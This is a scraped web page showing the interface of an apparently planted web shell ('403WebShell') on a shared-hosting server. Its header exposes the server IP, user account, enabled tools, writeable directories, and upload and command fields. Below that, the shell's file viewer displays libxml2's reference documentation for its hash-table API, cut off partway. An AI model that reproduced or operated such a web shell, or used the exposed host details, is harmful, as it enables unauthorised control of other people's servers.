Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.119.124.24
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/libxml2/usr/share/gtk-doc/html/libxml2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /opt/alt/libxml2/usr/share/gtk-doc/html/libxml2/libxml2-hash.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>hash: Chained hash tables</title>
<meta name="generator" content="Libxml2 devhelp stylesheet">
<link rel="start" href="index.html" title="libxml2 Reference Manual">
<link rel="up" href="general.html" title="API">
<link rel="stylesheet" href="style.css" type="text/css">
<link rel="chapter" href="general.html" title="API">
</head>
<body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF">
<table class="navigation" width="100%" summary="Navigation header" cellpadding="2" cellspacing="2"><tr valign="middle">
<td><a accesskey="p" href="libxml2-globals.html"><img src="left.png" width="24" height="24" border="0" alt="Prev"></a></td>
<td><a accesskey="u" href="general.html"><img src="up.png" width="24" height="24" border="0" alt="Up"></a></td>
<td><a accesskey="h" href="index.html"><img src="home.png" width="24" height="24" border="0" alt="Home"></a></td>
<td><a accesskey="n" href="libxml2-list.html"><img src="right.png" width="24" height="24" border="0" alt="Next"></a></td>
<th width="100%" align="center">libxml2 Reference Manual</th>
</tr></table>
<h2><span class="refentrytitle">hash</span></h2>
<p>hash - Chained hash tables</p>
<p>This module implements the hash table support used in various places in the library. </p>
<p>Author(s): Bjorn Reese &lt;bjorn.reese@systematic.dk&gt; </p>
<div class="refsynopsisdiv">
<h2>Synopsis</h2>
<pre class="synopsis">#define <a href="#XML_CAST_FPTR">XML_CAST_FPTR</a>(fptr);
typedef struct _xmlHashTable <a href="#xmlHashTable">xmlHashTable</a>;
typedef <a href="libxml2-hash.html#xmlHashTable">xmlHashTable</a> * <a href="#xmlHashTablePtr">xmlHashTablePtr</a>;
int	<a href="#xmlHashAddEntry">xmlHashAddEntry</a>			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 void * userdata);
int	<a href="#xmlHashAddEntry2">xmlHashAddEntry2</a>		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 void * userdata);
int	<a href="#xmlHashAddEntry3">xmlHashAddEntry3</a>		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name3, <br>					 void * userdata);
typedef void * <a href="#xmlHashCopier">xmlHashCopier</a>			(void * payload, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name);
<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a>	<a href="#xmlHashCopy">xmlHashCopy</a>		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 <a href="libxml2-hash.html#xmlHashCopier">xmlHashCopier</a> f);
<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a>	<a href="#xmlHashCreate">xmlHashCreate</a>		(int size);
<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a>	<a href="#xmlHashCreateDict">xmlHashCreateDict</a>	(int size, <br>					 <a href="libxml2-dict.html#xmlDictPtr">xmlDictPtr</a> dict);
typedef void <a href="#xmlHashDeallocator">xmlHashDeallocator</a>		(void * payload, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name);
void	<a href="#xmlHashDefaultDeallocator">xmlHashDefaultDeallocator</a>	(void * entry, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name);
void	<a href="#xmlHashFree">xmlHashFree</a>			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 <a href="libxml2-hash.html#xmlHashDeallocator">xmlHashDeallocator</a> f);
void *	<a href="#xmlHashLookup">xmlHashLookup</a>			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name);
void *	<a href="#xmlHashLookup2">xmlHashLookup2</a>			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2);
void *	<a href="#xmlHashLookup3">xmlHashLookup3</a>			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name3);
void *	<a href="#xmlHashQLookup">xmlHashQLookup</a>			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * prefix, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name);
void *	<a href="#xmlHashQLookup2">xmlHashQLookup2</a>			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * prefix, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * prefix2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2);
void *	<a href="#xmlHashQLookup3">xmlHashQLookup3</a>			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * prefix, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * prefix2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * prefix3, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name3);
int	<a href="#xmlHashRemoveEntry">xmlHashRemoveEntry</a>		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 <a href="libxml2-hash.html#xmlHashDeallocator">xmlHashDeallocator</a> f);
int	<a href="#xmlHashRemoveEntry2">xmlHashRemoveEntry2</a>		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 <a href="libxml2-hash.html#xmlHashDeallocator">xmlHashDeallocator</a> f);
int	<a href="#xmlHashRemoveEntry3">xmlHashRemoveEntry3</a>		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name3, <br>					 <a href="libxml2-hash.html#xmlHashDeallocator">xmlHashDeallocator</a> f);
void	<a href="#xmlHashScan">xmlHashScan</a>			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 <a href="libxml2-hash.html#xmlHashScanner">xmlHashScanner</a> f, <br>					 void * data);
void	<a href="#xmlHashScan3">xmlHashScan3</a>			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name3, <br>					 <a href="libxml2-hash.html#xmlHashScanner">xmlHashScanner</a> f, <br>					 void * data);
void	<a href="#xmlHashScanFull">xmlHashScanFull</a>			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 <a href="libxml2-hash.html#xmlHashScannerFull">xmlHashScannerFull</a> f, <br>					 void * data);
void	<a href="#xmlHashScanFull3">xmlHashScanFull3</a>		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name3, <br>					 <a href="libxml2-hash.html#xmlHashScannerFull">xmlHashScannerFull</a> f, <br>					 void * data);
typedef void <a href="#xmlHashScanner">xmlHashScanner</a>			(void * payload, <br>					 void * data, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name);
typedef void <a href="#xmlHashScannerFull">xmlHashScannerFull</a>		(void * payload, <br>					 void * data, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name3);
int	<a href="#xmlHashSize">xmlHashSize</a>			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table);
int	<a href="#xmlHashUpdateEntry">xmlHashUpdateEntry</a>		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 void * userdata, <br>					 <a href="libxml2-hash.html#xmlHashDeallocator">xmlHashDeallocator</a> f);
int	<a href="#xmlHashUpdateEntry2">xmlHashUpdateEntry2</a>		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 void * userdata, <br>					 <a href="libxml2-hash.html#xmlHashDeallocator">xmlHashDeallocator</a> f);
int	<a href="#xmlHashUpdateEntry3">xmlHashUpdateEntry3</a>		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name3, <br>					 void * userdata, <br>					 <a href="libxml2-hash.html#xmlHashDeallocator">xmlHashDeallocator</a> f);
</pre>
</div>
<div class="refsect1" lang="en"><h2>Description</h2></div>
<div class="refsect1" lang="en">
<h2>Details</h2>
<div class="refsect2" lang="en">
<div class="refsect2" lang="en">
<h3>
<a name="XML_CAST_FPTR">Macro </a>XML_CAST_FPTR</h3>
<pre class="programlisting">#define <a href="#XML_CAST_FPTR">XML_CAST_FPTR</a>(fptr);
</pre>
<p>Macro to do a casting from an object pointer to a function pointer without encountering a warning from gcc #define XML_CAST_FPTR(fptr) (*(void **)(&amp;fptr)) This macro violated ISO C aliasing rules (gcc4 on s390 broke) so it is disabled now</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody><tr>
<td><span class="term"><i><tt>fptr</tt></i>:</span></td>
<td>pointer to a function</td>
</tr></tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashTable">Structure </a>xmlHashTable</h3>
<pre class="programlisting">struct _xmlHashTable {
The content of this structure is not made public by the API.
} xmlHashTable;
</pre>
<p></p>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashTablePtr">Typedef </a>xmlHashTablePtr</h3>
<pre class="programlisting"><a href="libxml2-hash.html#xmlHashTable">xmlHashTable</a> * xmlHashTablePtr;
</pre>
<p></p>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashCopier"></a>Function type xmlHashCopier</h3>
<pre class="programlisting">void *	xmlHashCopier			(void * payload, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name)<br>
</pre>
<p>Callback to copy data from a hash.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>payload</tt></i>:</span></td>
<td>the data in the hash</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name associated</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>a copy of the data or NULL in case of error.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashDeallocator"></a>Function type xmlHashDeallocator</h3>
<pre class="programlisting">void	xmlHashDeallocator		(void * payload, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name)<br>
</pre>
<p>Callback to free data from a hash.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>payload</tt></i>:</span></td>
<td>the data in the hash</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name associated</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashScanner"></a>Function type xmlHashScanner</h3>
<pre class="programlisting">void	xmlHashScanner			(void * payload, <br>					 void * data, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name)<br>
</pre>
<p>Callback when scanning data in a hash with the simple scanner.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>payload</tt></i>:</span></td>
<td>the data in the hash</td>
</tr>
<tr>
<td><span class="term"><i><tt>data</tt></i>:</span></td>
<td>extra scanner data</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name associated</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashScannerFull"></a>Function type xmlHashScannerFull</h3>
<pre class="programlisting">void	xmlHashScannerFull		(void * payload, <br>					 void * data, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name3)<br>
</pre>
<p>Callback when scanning data in a hash with the full scanner.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>payload</tt></i>:</span></td>
<td>the data in the hash</td>
</tr>
<tr>
<td><span class="term"><i><tt>data</tt></i>:</span></td>
<td>extra scanner data</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name associated</td>
</tr>
<tr>
<td><span class="term"><i><tt>name2</tt></i>:</span></td>
<td>the second name associated</td>
</tr>
<tr>
<td><span class="term"><i><tt>name3</tt></i>:</span></td>
<td>the third name associated</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashAddEntry"></a>xmlHashAddEntry ()</h3>
<pre class="programlisting">int	xmlHashAddEntry			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 void * userdata)<br>
</pre>
<p>Add the @userdata to the hash @table. This can later be retrieved by using the @name. Duplicate names generate errors.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>userdata</tt></i>:</span></td>
<td>a pointer to the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>0 the addition succeeded and -1 in case of error.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashAddEntry2"></a>xmlHashAddEntry2 ()</h3>
<pre class="programlisting">int	xmlHashAddEntry2		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 void * userdata)<br>
</pre>
<p>Add the @userdata to the hash @table. This can later be retrieved by using the (@name, @name2) tuple. Duplicate tuples generate errors.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name2</tt></i>:</span></td>
<td>a second name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>userdata</tt></i>:</span></td>
<td>a pointer to the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>0 the addition succeeded and -1 in case of error.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashAddEntry3"></a>xmlHashAddEntry3 ()</h3>
<pre class="programlisting">int	xmlHashAddEntry3		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name3, <br>					 void * userdata)<br>
</pre>
<p>Add the @userdata to the hash @table. This can later be retrieved by using the tuple (@name, @name2, @name3). Duplicate entries generate errors.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name2</tt></i>:</span></td>
<td>a second name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name3</tt></i>:</span></td>
<td>a third name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>userdata</tt></i>:</span></td>
<td>a pointer to the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>0 the addition succeeded and -1 in case of error.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashCopy"></a>xmlHashCopy ()</h3>
<pre class="programlisting"><a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a>	xmlHashCopy		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 <a href="libxml2-hash.html#xmlHashCopier">xmlHashCopier</a> f)<br>
</pre>
<p>Scan the hash @table and applied @f to each value.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>f</tt></i>:</span></td>
<td>the copier function for items in the hash</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>the new table or NULL in case of error.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashCreate"></a>xmlHashCreate ()</h3>
<pre class="programlisting"><a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a>	xmlHashCreate		(int size)<br>
</pre>
<p>Create a new xmlHashTablePtr.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>size</tt></i>:</span></td>
<td>the size of the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>the newly created object, or NULL if an error occurred.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashCreateDict"></a>xmlHashCreateDict ()</h3>
<pre class="programlisting"><a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a>	xmlHashCreateDict	(int size, <br>					 <a href="libxml2-dict.html#xmlDictPtr">xmlDictPtr</a> dict)<br>
</pre>
<p>Create a new <a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> which will use @dict as the internal dictionary</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>size</tt></i>:</span></td>
<td>the size of the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>dict</tt></i>:</span></td>
<td>a dictionary to use for the hash</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>the newly created object, or NULL if an error occurred.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashDefaultDeallocator"></a>xmlHashDefaultDeallocator ()</h3>
<pre class="programlisting">void	xmlHashDefaultDeallocator	(void * entry, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name)<br>
</pre>
<p>Free a hash table entry with xmlFree.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>entry</tt></i>:</span></td>
<td>the hash table entry</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the entry's name</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashFree"></a>xmlHashFree ()</h3>
<pre class="programlisting">void	xmlHashFree			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 <a href="libxml2-hash.html#xmlHashDeallocator">xmlHashDeallocator</a> f)<br>
</pre>
<p>Free the hash @table and its contents. The userdata is deallocated with @f if provided.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>f</tt></i>:</span></td>
<td>the deallocator function for items in the hash</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashLookup"></a>xmlHashLookup ()</h3>
<pre class="programlisting">void *	xmlHashLookup			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name)<br>
</pre>
<p>Find the userdata specified by the @name.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>the pointer to the userdata</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashLookup2"></a>xmlHashLookup2 ()</h3>
<pre class="programlisting">void *	xmlHashLookup2			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2)<br>
</pre>
<p>Find the userdata specified by the (@name, @name2) tuple.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name2</tt></i>:</span></td>
<td>a second name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>the pointer to the userdata</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashLookup3"></a>xmlHashLookup3 ()</h3>
<pre class="programlisting">void *	xmlHashLookup3			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name3)<br>
</pre>
<p>Find the userdata specified by the (@name, @name2, @name3) tuple.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name2</tt></i>:</span></td>
<td>a second name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name3</tt></i>:</span></td>
<td>a third name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>the a pointer to the userdata</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashQLookup"></a>xmlHashQLookup ()</h3>
<pre class="programlisting">void *	xmlHashQLookup			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * prefix, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name)<br>
</pre>
<p>Find the userdata specified by the QName @prefix:@name/@name.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>prefix</tt></i>:</span></td>
<td>the prefix of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>the pointer to the userdata</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashQLookup2"></a>xmlHashQLookup2 ()</h3>
<pre class="programlisting">void *	xmlHashQLookup2			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * prefix, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * prefix2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2)<br>
</pre>
<p>Find the userdata specified by the QNames tuple</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>prefix</tt></i>:</span></td>
<td>the prefix of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>prefix2</tt></i>:</span></td>
<td>the second prefix of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name2</tt></i>:</span></td>
<td>a second name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>the pointer to the userdata</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashQLookup3"></a>xmlHashQLookup3 ()</h3>
<pre class="programlisting">void *	xmlHashQLookup3			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * prefix, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * prefix2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * prefix3, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name3)<br>
</pre>
<p>Find the userdata specified by the (@name, @name2, @name3) tuple.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
